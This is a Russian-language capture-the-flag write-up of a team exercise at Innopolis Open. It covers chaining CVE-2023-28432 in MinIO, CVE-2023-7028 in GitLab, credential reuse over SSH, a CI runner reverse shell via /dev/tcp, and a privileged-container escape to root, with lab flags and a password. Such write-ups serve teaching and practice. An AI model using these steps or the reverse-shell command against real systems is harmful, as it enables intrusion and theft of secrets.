# Входные данные Участникам предоставлялась связка логин-пароль от почтового сервиса вида team1@innopolisopen.com для каждой команды и оговаривалось условие, что все дальнейшие шаги они смогут получить через почту. ## Подключение к почтовому серверу Для подключения к почтовому сервису необходимо было настроить любой почтовый клиент, т.к. сервис не имел веб-интерфейса. Подключившись, можно было найти письмо с токеном, примером отправки флагов в систему и собственно айпи-адресами. Так же там лежал первый флаг: ```а вот и ваш первый флаг: b2074299eb52e402ba9c66b65e812cd0``` ## Первая машина - site, s3 and smbd Запускаем стандартное сканирование: ```bash= nmap -sV <ip> ``` Видим следующую картину: а) порт 9001 и 9000 - s3 бакет minio б) 139, 445 - SAMBA server в) 80 - nginx web-server Аналогичный скан запущенный на второй машине выдавал только один интересный порт - 80 nginx, где крутился GitLab. Изучаем для начала первую машину: а) На бакеты minio требуется авторизация, пока отложим. б) На стороне smbd есть гостевой вход, можно зайти и забрать следующий флаг `fbc564a621d5ed5e0fa5a1768c4f7e4d` в) На сайте нет ничего интересного, но можно найти почту `admin@sms.inno`, позже она нам пригодится. Далее было несколько вариантов - отложить MinIO и пойти искать уязвимости связанные с гитлабом на второй машине, или все же взять флаг с MinIO. Бегло погуглив - находим не слишком старую, но весьма эксплуатируюмую уязвимость `CVE-2023-28432`. Собственно, если MinIO развернут как кластер - мы можем без авторизации получить все секреты на его стороне. Пробуем и получается, теперь у нас есть еще и пользователь `albert` с паролем `SuP3R_S3cR3t_pASSW0rD`. Можно авторизоваться с помощью него же на бакете и забрать еще один флаг - `f34743427f9a601091ae2300ed87800b`. Логичный дальнейший шаг - попробовать подключится под данным пользователем еще и по ssh, пробуем - и заходим на машину. Еще один флаг - `fa21f6876f3ec6fb673d8d275c20b245` наш. В домашней директории пользователя можно найти скрипт `site_gen.sh`, позволяющий нам клонировать сайт с удаленного репозитория (vm2 gitlab) и обновлять его. Если его запустить - подтянется последняя версия сайта, где так же будет лежать скрытый токен-флаг `1f3ed27124f37d02b5d8e73c119feae4`. А заодно отсюда можно было-бы получить информацию про вторую ВМ, если бы ее не было в письме или вы ее пропустили. Перейдем на данном этапе ко второй машине, так как на этой попытки LPE с действующими правами не приведут к успеху (пока). ## Первая машина - gitlab Авторизация на гитлабе под полученными выше кредами не возможна, значит ищем обходные пути. Имея версию GitLab - ищем по ней уязвимости и находим `CVE-2023-7028`, позволяющую нам осуществить сброс пароля через подстановку своего email адреса, рядом с настоящим. Выше мы уже получали один email, пробуем взять его и подставить так же свой, проэксплуатировав уязвимость (лучше было брать локальные почтовые адреса, выданные на время мероприятия), и получаем на почту пароль для входа. Теперь мы можем увидеть один из доступных репозиториев, где собственно размещен сайт (и один из предыдущих токенов, если пропустили - можно взять отсюда). Смотрим по сторонам и ищем еще что-нибудь интересное, например - включенные `Shared Runner` для данного репозитория. А значит, если кто-то использует данный раннер в другом репозитории, мы можем получить его секреты, используя CI/CD. Находим второй репозиторий, там у нас есть права Developer, но посмотреть секреты нельзя. Вот тут то мы и заюзаем наш shared runner, создав свой `.gitlab-ci.yml`: ```bash= image: python:latest run: script: sh -i >& /dev/tcp/<ip>/<port> &0>1 ``` таким образом мы получим доступ внутрь docker-контейнера с запущенным раннером и сможем вывести все секреты, которые хранятся в ENV, забрав еще один токен `a71cbf9bbce0f9b9f86f5ef6159f4654`. А если внимательно изучить все доступные секреты - найдем еще и ключик ssh, который подойдет для пользователя root на vm1!! ## Первая машина - docker secret's and root access Подключимся с найденным выше ключем к машине под пользователем root и заберем еще один токен - `3436af9990dfdaf2fc5b1f6d901ff4a6`. Казалось бы можно остановиться, но теперь мы можем смотреть что есть в докерах - а значит можно изучить их секреты, например зайти в любой из трех контейнеров MinIO и достать последний на данной машине токен `2cc57d98aee1125991d62a7db2443b3f`. На этом этапе с этой машиной покончено, но остается пара не раскрытых секретов на второй ## Вторая машина - gitlab rake and other secretes Вернемся к нашему раннеру - мы находимся внутри docker-контейнера. Проверяем - и оказывается что он запущен в privilege mode, что позвоялет нам выполнить [docker-escape](https://pulsesecurity.co.nz/articles/OMGCICD-gitlab). Пробуем подмантировать файловую систему - и вуаля, мы уже имеем полный доступ до vm2 (runner был запущен непосредственно на ней). Находим сразу еще один токен в директории /root/token - `c26b1a1edad3f3606ee9e969576f00bf` и продолжаем поиски последнего ключа. Если чуточку покопаться в репозитории гитлаба - можно найти еще одного пользователя Administrator. Попробуем зайти под ним, сбросив пароль через gitlab-rake, т.к. мы теперь root - мы можем такое себе позволить. Заходим с новым паролем под данным пользователем и видим приватный репозиторий с последним флагом - `4b215c15f98549cbf1d3f8c08fa18c3a`. Кажется, теперь мы собрали все токены и можно расслабиться.